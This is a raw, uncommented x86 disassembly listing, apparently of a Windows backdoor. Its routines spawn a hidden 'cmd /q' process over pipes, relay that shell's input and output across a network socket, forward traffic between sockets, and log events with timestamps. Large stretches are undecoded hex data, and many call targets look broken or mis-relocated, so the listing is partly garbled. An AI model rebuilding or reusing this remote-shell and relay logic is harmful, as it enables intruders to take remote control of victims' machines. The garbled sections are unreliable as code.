458D5000h, 0FF5350CCh, 4CB6E815h, 83F88B00h dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h dd 4CB63415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h dd 0D075FF50h, 0B6E015FFh, 8D50004Ch, 0FFFBEC85h, 495868FFh dd 0E8500043h, 0ACB6h, 0FBEC858Dh, 0E850FFFFh, 45D1h, 0EC858D57h dd 6AFFFFFBh, 0CE85009h, 89FFFFA5h, 0C069B845h, 234h, 83B44D8Bh dd 888924C4h, 43E594h, 50DC458Dh, 0FDEC858Dh, 5056FFFFh dd 4107C068h, 0F0458D00h, 0E8905056h, 226F47Ch, 69B84D8Bh dd 234C9h, 89C63B00h, 43E5A481h, 39137400h, 850FC875h dd 0FFFFFF37h, 0E890326Ah, 226F3C0h, 0E890EDEBh, 226FE76h dd 491C6850h, 0CEE80043h, 59000045h, 8B03EB59h, 15FF087Dh dd 4CB5E8h, 0EC858D50h, 68FFFFFBh, 4348E4h, 0AC14E850h dd 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh dd 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0DCE8FFFFh, 83FFFF8Dh dd 858D14C4h, 0FFFFFBECh, 4507E850h, 57590000h, 0B6EC15FFh dd 0FF53004Ch, 4CB6EC15h, 0AC15FF00h, 0FF004CB5h, 50E8B475h dd 59FFFFA7h, 35E89056h, 5B022CF3h, 4439C033h, 940F0424h db 0C0h, 0C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410CD6 proc near ; CODE XREF: ___:0041096Fp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_410E27 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_43E59C[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_42707C pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_410FF9 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_410D41 nop call near ptr 2680ABEh push eax push offset unk_434A7C call sub_415221 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_410D7B ; --------------------------------------------------------------------------- loc_410D41: ; CODE XREF: sub_410CD6+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4110AB lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_410D82 nop call near ptr 2680ABEh push eax push offset unk_434A7C call sub_415221 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] nop call near ptr 2690B5Dh loc_410D7B: ; CODE XREF: sub_410CD6+69j xor eax, eax jmp loc_410E22 ; --------------------------------------------------------------------------- loc_410D82: ; CODE XREF: sub_410CD6+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 nop call near ptr 277034Eh sub eax, ebx jz short loc_410DDC dec eax jz short loc_410DD6 dec eax jz short loc_410DC2 nop call near ptr 2680ABEh push eax push offset unk_434A48 call sub_415221 pop ecx pop ecx jmp short loc_410DF1 ; --------------------------------------------------------------------------- loc_410DC2: ; CODE XREF: sub_410CD6+D5j mov edi, dword_4270AC push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_410DF1 ; --------------------------------------------------------------------------- loc_410DD6: ; CODE XREF: sub_410CD6+D2j push ebx push dword ptr [esi+10h] jmp short loc_410DE0 ; --------------------------------------------------------------------------- loc_410DDC: ; CODE XREF: sub_410CD6+CFj push ebx push dword ptr [esi+14h] loc_410DE0: ; CODE XREF: sub_410CD6+104j nop call near ptr 2690B5Dh push 1 push dword ptr [esi+8] call near ptr 2700D13h nop loc_410DF1: ; CODE XREF: sub_410CD6+EAj ; sub_410CD6+FEj push dword ptr [esi+10h] mov edi, dword_427068 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_4CB6EC push esi call sub_41B0B1 pop ecx push 1 pop eax loc_410E22: ; CODE XREF: sub_410CD6+A7j pop edi pop esi pop ebx leave retn sub_410CD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410E27 proc near ; CODE XREF: sub_410CD6+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41B4D5 mov esi, eax pop ecx cmp esi, edi jz loc_410F11 mov ebx, dword_4270FC lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_427068 test eax, eax jnz short loc_410E8A call near ptr 2680ABEh nop push eax push offset unk_434B2C jmp short loc_410EAA ; --------------------------------------------------------------------------- loc_410E8A: ; CODE XREF: sub_410E27+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_410EB2 call near ptr 2680ABEh nop push eax push offset unk_434AEC loc_410EAA: ; CODE XREF: sub_410E27+61j call sub_415221 pop ecx jmp short loc_410EE0 ; --------------------------------------------------------------------------- loc_410EB2: ; CODE XREF: sub_410E27+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_410F20 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_410F15 push offset unk_434AC4 call sub_4151AD loc_410EE0: ; CODE XREF: sub_410E27+89j cmp [ebp+var_4], 0 pop ecx jz short loc_410EEC push [ebp+var_4] call edi loc_410EEC: ; CODE XREF: sub_410E27+BEj cmp [ebp+var_8], 0 jz short loc_410EF7 push [ebp+var_8] call edi loc_410EF7: ; CODE XREF: sub_410E27+C9j mov eax, [esi] test eax, eax jz short loc_410F00 push eax call edi loc_410F00: ; CODE XREF: sub_410E27+D4j mov eax, [esi+4] test eax, eax jz short loc_410F0A push eax call edi loc_410F0A: ; CODE XREF: sub_410E27+DEj push esi call sub_41B0B1 pop ecx loc_410F11: ; CODE XREF: sub_410E27+1Dj xor eax, eax jmp short loc_410F1B ; --------------------------------------------------------------------------- loc_410F15: ; CODE XREF: sub_410E27+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_410F1B: ; CODE XREF: sub_410E27+ECj pop edi pop esi pop ebx leave retn sub_410E27 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F20 proc near ; CODE XREF: sub_410E27+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41B590 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_4270F8 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax nop call near ptr 2710000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi nop call near ptr 2660C3Bh test eax, eax jz short loc_410FDC mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43E598[eax], ecx nop call near ptr 2660919h jmp short loc_410FF2 ; --------------------------------------------------------------------------- loc_410FDC: ; CODE XREF: sub_410F20+9Aj nop call near ptr 2680ABEh push eax push offset unk_434B6C call sub_415221 mov esi, [ebp+var_4] pop ecx pop ecx loc_410FF2: ; CODE XREF: sub_410F20+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_410F20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410FF9 proc near ; DATA XREF: sub_410CD6+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_4270E8 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_411022: ; CODE XREF: sub_410FF9+8Fj call ebx test eax, eax jz short loc_41108A xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_41105D loc_411033: ; CODE XREF: sub_410FF9+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_41104D cmp dl, 0Dh jz short loc_41104D mov [ebp+eax+var_1B0], 0Dh inc eax loc_41104D: ; CODE XREF: sub_410FF9+44j ; sub_410FF9+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411033 loc_41105D: ; CODE XREF: sub_410FF9+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4CB6A4 test eax, eax jle short loc_41108A lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_411022 ; --------------------------------------------------------------------------- loc_41108A: ; CODE XREF: sub_410FF9+2Dj ; sub_410FF9+79j mov esi, dword_42708C call esi cmp eax, 6Dh jz short loc_4110A6 call esi push eax push offset dword_434BAC call sub_415221 pop ecx pop ecx loc_4110A6: ; CODE XREF: sub_410FF9+9Cj pop edi pop esi pop ebx leave retn sub_410FF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4110AB proc near ; DATA XREF: sub_410CD6+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_4110C4: ; CODE XREF: sub_4110AB+39j ; sub_4110AB+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4CB66C test eax, eax jle loc_4111C9 cmp [ebp+var_10], ebx jbe short loc_4110E6 dec [ebp+var_10] jmp short loc_4110C4 ; --------------------------------------------------------------------------- loc_4110E6: ; CODE XREF: sub_4110AB+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_4111A9 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411156 cmp al, 7Fh jz short loc_411156 cmp al, 3 jnz short loc_411111 push ebx push ebx nop call near ptr 2770449h jmp short loc_41117D ; --------------------------------------------------------------------------- loc_411111: ; CODE XREF: sub_4110AB+5Aj cmp al, 15h jnz short loc_411133 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411169 ; --------------------------------------------------------------------------- loc_411133: ; CODE XREF: sub_4110AB+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_41116A mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411169 ; --------------------------------------------------------------------------- loc_411156: ; CODE XREF: sub_4110AB+52j ; sub_4110AB+56j cmp esi, ebx jbe short loc_411180 dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411169: ; CODE XREF: sub_4110AB+86j ; sub_4110AB+A9j pop ecx loc_41116A: ; CODE XREF: sub_4110AB+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4CB6A4 test eax, eax jle short loc_4111C9 loc_41117D: ; CODE XREF: sub_4110AB+64j mov al, byte ptr [ebp+arg_0+3] loc_411180: ; CODE XREF: sub_4110AB+ADj cmp al, 0Dh jnz loc_4110C4 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] nop call near ptr 26F0000h test eax, eax jz short loc_4111C9 xor esi, esi jmp loc_4110C4 ; --------------------------------------------------------------------------- loc_4111A9: ; CODE XREF: sub_4110AB+47j cmp [ebp+var_C], ebx jnz short loc_4111BA mov [ebp+var_C], 1 jmp loc_4110C4 ; --------------------------------------------------------------------------- loc_4111BA: ; CODE XREF: sub_4110AB+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_4110C4 ; --------------------------------------------------------------------------- loc_4111C9: ; CODE XREF: sub_4110AB+2Bj ; sub_4110AB+D0j ... pop edi pop esi pop ebx leave retn sub_4110AB endp ; --------------------------------------------------------------------------- word_4111CE dw 8B55h ; DATA XREF: sub_401ACD+2C08o dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h, 0BD8D5BF0h dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh dd 53000000h, 56EC458Dh, 0A38AE850h, 0C4830000h, 45C7660Ch dd 0FF0002ECh, 15FFC075h, 4CB654h, 6A57066Ah, 45896602h dd 0F07589EEh, 0B6D415FFh, 0F88B004Ch, 69C4458Bh, 234C0h dd 0B8895300h, 43E59Ch, 50EC458Dh, 8015FF57h, 85004CB6h dd 21850FC0h, 6A000001h, 15FF570Ah, 4CB67Ch, 850FC085h dd 110h, 0FFC075FFh, 0FFFF2CB5h, 99A2E8FFh, 5059FFFFh dd 0FD2C858Dh, 0B868FFFFh, 500042BFh, 0A605E8h, 10C48300h dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh, 0FF30858Dh dd 0FF50FFFFh, 0FFFF2CB5h, 87CDE8FFh, 0C483FFFFh, 2C858D14h dd 50FFFFFDh, 3EF8E8h, 458D5900h, 458D50FCh, 0FF5750DCh dd 4CB6E815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h dd 0E015FFE0h, 50004CB6h, 0FD2C858Dh, 5868FFFFh, 5000434Ch dd 0A599E8h, 858D5300h, 0FFFFFD2Ch, 0E850196Ah, 0FFFF9DFBh dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E59488h dd 8458D00h, 2C858D50h, 56FFFFFFh, 13D36850h, 56560041h dd 0ED6EE890h, 4D8B0226h, 34C969C8h, 3B000002h, 0A48189C6h dd 740043E5h, 0D8753913h, 0FF63850Fh, 56AFFFFh, 26ECB3E8h dd 0EDEB9002h, 26F769E8h, 8D509002h, 0FFFD2C85h, 4C1C68FFh dd 0E8500043h, 0A51Eh, 0E90CC483h, 0FFFFFF39h, 0EC15FF57h dd 0FF004CB6h, 858DC075h, 0FFFFFD2Ch, 434BE868h, 0FBE85000h dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh, 75FFFFFFh dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF86C3h dd 8D14C483h, 0FFFD2C85h, 0EEE850FFh, 0FF00003Dh, 4CE8C475h dd 59FFFFA0h, 31E85659h, 90022CECh, 555B5E5Fh, 0EC81EC8Bh dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh dd 16AD475h, 69087589h, 234F6h, 0B68D5F00h, 43E59Ch, 0ACB889h dd 0DB330000h, 45C7068Bh, 5F8h, 30858900h, 8DFFFFFAh, 5350F845h dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh dd 4CB63Ch, 1875C085h, 15FF36FFh, 4CB6ECh, 0E80875FFh dd 0FFFF9FC7h, 0E8905359h, 22CEBACh, 30858D53h, 68FFFFFBh dd 408h, 0FF36FF50h, 4CB66C15h, 7FC08500h, 0FF36FF18h dd 4CB6EC15h, 875FF00h, 0FF9F96E8h, 0E85359FFh, 22CEB7Ch dd 30BD8090h, 4FFFFFBh, 1ED850Fh, 0BD800000h, 0FFFFFB31h dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh, 0FB38858Dh dd 0E850FFFFh, 0ABBCh, 59C08559h, 458D6174h, 858D50BCh dd 0FFFFFB38h, 4D206850h, 52E80043h, 6800003Dh, 400h, 0FB38858Dh dd 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h, 0A0A2E85Dh dd 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah, 0A415FF36h dd 0FF004CB6h, 0EC15FF36h, 0FF004CB6h, 0E80875h, 59FFFF9Fh dd 0E5E89053h, 6A022CEAh, 0E8458D10h, 69E85053h, 660000A0h dd 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh, 6AFFFFFBh dd 26A5706h, 0E845C766h, 45890002h, 0D415FFECh, 8B004CB6h dd 0FFFF83F8h, 15FF5D75h, 4CB5E8h, 4CE06850h, 0BAE80043h dd 6800003Ch, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h dd 85C6FFFFh, 0FFFFFB31h, 0A00AE85Bh, 0C4830000h, 30858D14h dd 53FFFFFBh, 0FF50086Ah, 0A415FF36h, 0FF004CB6h, 0EC15FF36h dd 0FF004CB6h, 68E80875h, 59FFFF9Eh, 0EA4EE853h, 8D90022Ch dd 106AE845h, 15FF5750h, 4CB5FCh, 75FFF883h, 0E815FF5Dh dd 50004CB5h, 434C9C68h, 3C4BE800h, 680000h, 8D000004h dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh dd 9F9BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h dd 0B6A415FFh, 36FF004Ch, 0B6EC15FFh, 75FF004Ch, 9DF9E808h dd 5359FFFFh, 0E9DEE890h, 68022Ch, 8D000004h, 0FFFB3885h dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh, 9F4FE8h dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0B6A415FFh dd 36FF004Ch, 39E857h, 59590000h, 0EC15FF57h, 0FF004CB6h dd 0EC15FF36h, 0FF004CB6h, 9CE80875h, 59FFFF9Dh, 81E89053h dd 0FF022CE9h, 0EC15FF36h, 0FF004CB6h, 84E80875h, 59FFFF9Dh dd 0E96AE853h ; --------------------------------------------------------------------------- sub al, 2 nop push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+0Ch] push esi push edi xor edi, edi mov esi, 400h loc_4116AD: ; CODE XREF: ___:0041175Cj ; ___:0041178Cj mov [ebp-100h], ebx mov dword ptr [ebp-104h], 1 xor ecx, ecx lea eax, [ebp-100h] loc_4116C5: ; CODE XREF: ___:004116D3j mov edx, [ebp+8] cmp [eax], edx jz short loc_4116D5 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4116C5 loc_4116D5: ; CODE XREF: ___:004116CAj cmp ecx, 1 jnz short loc_4116EA mov [ebp-0FCh], edx mov dword ptr [ebp-104h], 2 loc_4116EA: ; CODE XREF: ___:004116D8j push esi lea eax, [ebp-504h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-104h] push edi push edi push edi push eax push edi call dword_4CB63C lea eax, [ebp-104h] push eax push ebx call dword_4CB540 test eax, eax jz short loc_41174A push edi lea eax, [ebp-504h] push esi push eax push ebx call dword_4CB66C cmp eax, 0FFFFFFFFh jz short loc_411792 push edi push eax lea eax, [ebp-504h] push eax push dword ptr [ebp+8] call dword_4CB6A4 cmp eax, 0FFFFFFFFh jz short loc_411792 loc_41174A: ; CODE XREF: ___:0041171Cj lea eax, [ebp-104h] push eax push dword ptr [ebp+8] call dword_4CB540 test eax, eax jz loc_4116AD push edi lea eax, [ebp-504h] push esi push eax push dword ptr [ebp+8] call dword_4CB66C cmp eax, 0FFFFFFFFh jz short loc_411792 push edi push eax lea eax, [ebp-504h] push eax push ebx call dword_4CB6A4 cmp eax, 0FFFFFFFFh jnz loc_4116AD loc_411792: ; CODE XREF: ___:00411731j ; ___:00411748j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- byte_411797 db 55h ; DATA XREF: sub_401ACD+210Eo ; sub_40BACE+106o dd 0EC81EC8Bh, 87Ch, 5308558Bh, 16A5756h, 0B958DB33h, 0A9h dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0B6D415FFh dd 0F08B004Ch, 75FFFE83h, 1906856h, 15E80000h, 900226E8h dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF825Fh dd 8D14C483h, 0FFF88885h, 8AE850FFh, 0FF000039h, 0FFFE98B5h dd 9BE5E8FFh, 5959FFFFh, 0C9E89053h, 8D022CE7h, 46AF045h dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CB634h, 6AEC458Dh dd 0FB6A5004h, 15FF5657h, 4CB634h, 0FE98858Bh, 106AFFFFh dd 234C069h, 89530000h, 43E59CB0h, 0D4458D00h, 9D16E850h dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 5415FFFFh dd 66004CB6h, 8DD64589h, 106AD445h, 5D895650h, 8015FFD8h dd 83004CB6h, 1975FFF8h, 138868h, 4DE89000h, 0FF0226E7h dd 0FFFE9C8Dh, 875FFFFh, 347E9h, 90858D00h, 68FFFFFCh dd 429068h, 9BF0E850h, 3B590000h, 458959C3h, 684C75FCh dd 190h, 0E71AE890h, 8D530226h, 0FFF88885h, 24B5FFFFh dd 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 816DE8FFh dd 858DFFFFh, 0FFFFF888h, 389BE850h, 0B5FF0000h, 0FFFFFE98h dd 0FF9AF6E8h, 1CC483FFh, 0D9E89053h, 8B022CE6h, 9F39087Dh dd 2A0h, 295840Fh, 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh dd 5E445C7h, 0C7000000h, 1388E845h, 0B5890000h, 0FFFFF788h dd 0F78485C7h, 1FFFFh, 29E80000h, 8300009Ch, 458D0CC4h dd 8D5350E4h, 0FFF78485h, 535053FFh, 0B63C15FFh, 0C085004Ch dd 2398E0Fh, 8A00000h, 8B0043D8h, 888588CFh, 33FFFFFAh dd 89BD8DC0h, 0C7FFFFFAh, 10F445h, 0ABF30000h, 8DAAAB66h dd 8D50F445h, 5350C445h, 0FF30858Dh, 8068FFFFh, 50000000h dd 2C15FF56h, 0FF004CB6h, 4589C875h, 0E015FFF8h, 50004CB6h dd 50B0458Dh, 9EADE8h, 309D3800h, 59FFFFFFh, 0C2850F59h dd 80000001h, 0FFFF31BDh, 850F01FFh, 0BBh, 0FD94858Dh dd 0E850FFFFh, 95E0h, 75FF5353h, 0B7E2E8FCh, 75FF0000h dd 8C858DFCh, 88FFFFFAh, 0FFFA889Dh, 8985C6FFh, 3FFFFFAh dd 20068h, 50016A00h, 0FA8A9D88h, 85C6FFFFh, 0FFFFFA8Bh dd 96E0E801h, 0C4830000h, 0C44D8D20h, 83F84589h, 75FF04C0h dd 505351F4h, 0FA88858Dh, 5650FFFFh, 0B6B815FFh, 458D004Ch dd 858D50B0h, 0FFFFF888h, 434D8C68h, 17E85000h, 8300009Eh dd 9D390CC4h, 0FFFFFF28h, 8D532375h, 0FFF88885h, 24B5FFFFh dd 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7FD9E8FFh dd 0C483FFFFh, 88858D14h, 50FFFFF8h, 3704E8h, 10E95900h dd 80000001h, 0FFFF31BDh, 850F04FFh, 0EDh, 0FF338D8Ah dd 858AFFFFh, 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh dd 3FFFFFAh, 0C0FE1275h, 8588C932h, 0FFFFFA8Ah, 0FA8B9D88h dd 0EEBFFFFh, 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh dd 0C9B60FC0h, 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h dd 0FC75FF50h, 0B6D3E8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh dd 0EFE85001h, 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh dd 478D50F4h, 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CB6B815h dd 75FB3B00h, 0B0458D6Eh, 88858D50h, 68FFFFF8h, 434D6Ch dd 9D20E850h, 0C4830000h, 289D390Ch, 75FFFFFFh, 858D5323h dd 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh dd 0FFFFFC8Ch, 0FF7EE2E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh dd 360Dh, 0E15C05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh dd 68096A53h, 434D60h, 0B815FF56h, 39004CB6h, 8F0FF85Dh dd 0FFFFFD5Fh, 56087D8Bh, 0B6EC15FFh, 75FF004Ch, 9481E8FCh dd 8DFF0000h, 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h dd 0E8FFFFFEh, 0FFFF981Fh, 0E8905359h, 22CE404h, 3E868h dd 0F9E89000h, 570226E3h, 0FFFB8AE8h, 5B5E5FFFh, 4C2C9h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 314h lea eax, [ebp-10h] push esi push eax call near ptr 2770584h nop lea eax, [ebp-114h] push 104h push eax call near ptr 2670A78h nop lea eax, [ebp-114h] push offset asc_43554C ; "\\" push eax call sub_41BEC0 lea eax, [ebp-114h] push offset dword_42911C push eax call sub_41BEC0 lea eax, [ebp-114h] push offset aAb ; "ab" push eax call sub_41B4C2 mov esi, eax add esp, 18h test esi, esi jnz short loc_411C7B push 1 pop eax jmp short loc_411CF2 ; --------------------------------------------------------------------------- loc_411C7B: ; CODE XREF: ___:00411C74j movzx eax, word ptr [ebp-4] push dword ptr [ebp+8] push eax movzx eax, word ptr [ebp-6] push eax movzx eax, word ptr [ebp-8] push eax movzx eax, word ptr [ebp-10h] push eax movzx eax, word ptr [ebp-0Ah] push eax movzx eax, word ptr [ebp-0Eh] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_41BE06 push esi call sub_41B05B add esp, 28h cmp dword ptr [ebp+98h], 0 jnz short loc_411CF0 push dword ptr [ebp+8] lea eax, [ebp-314h] push offset dword_43551C push 200h push eax call sub_41B980 push 0 lea eax, [ebp-314h] push dword ptr [ebp+94h] push eax lea eax, [ebp+14h] push eax push dword ptr [ebp+0Ch] call sub_409A73 add esp, 24h loc_411CF0: ; CODE XREF: ___:00411CB7j xor eax, eax loc_411CF2: ; CODE XREF: ___:00411C79j pop esi leave retn ; --------------------------------------------------------------------------- byte_411CF5 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+4509o dd 8DCEC81h, 458B0000h, 57565308h, 0F724A583h, 6A00FFFFh dd 0FC658325h, 0F08B5900h, 0FF24BD8Dh, 0A5F3FFFFh, 9080C7h dd 10000h, 0FFB90000h, 33000000h, 28BD8DC0h, 0F3FFFFF7h dd 0D815FFABh, 8D004CB5h, 3C6AB84Dh, 45895051h, 0F015FFF8h dd 0BB004CB5h, 200h, 0A9E8086Ah, 900226E2h, 0B5D815FFh dd 453B004Ch, 8D7574F8h, 3C6AB84Dh, 45895051h, 0F015FFF8h dd 8D004CB5h, 8D50B845h, 0FFFD2485h, 858D50FFh, 0FFFFFB24h dd 43557C68h, 0F7E85000h, 8100009Ah, 84ECh, 24B58D00h dd 8DFFFFFFh, 0FFFB2485h, 59256AFFh, 0F350FC8Bh, 0FE66E8A5h dd 4589FFFFh, 858D53FCh, 0FFFFFD24h, 0E850006Ah, 97D0h dd 0A4C481h, 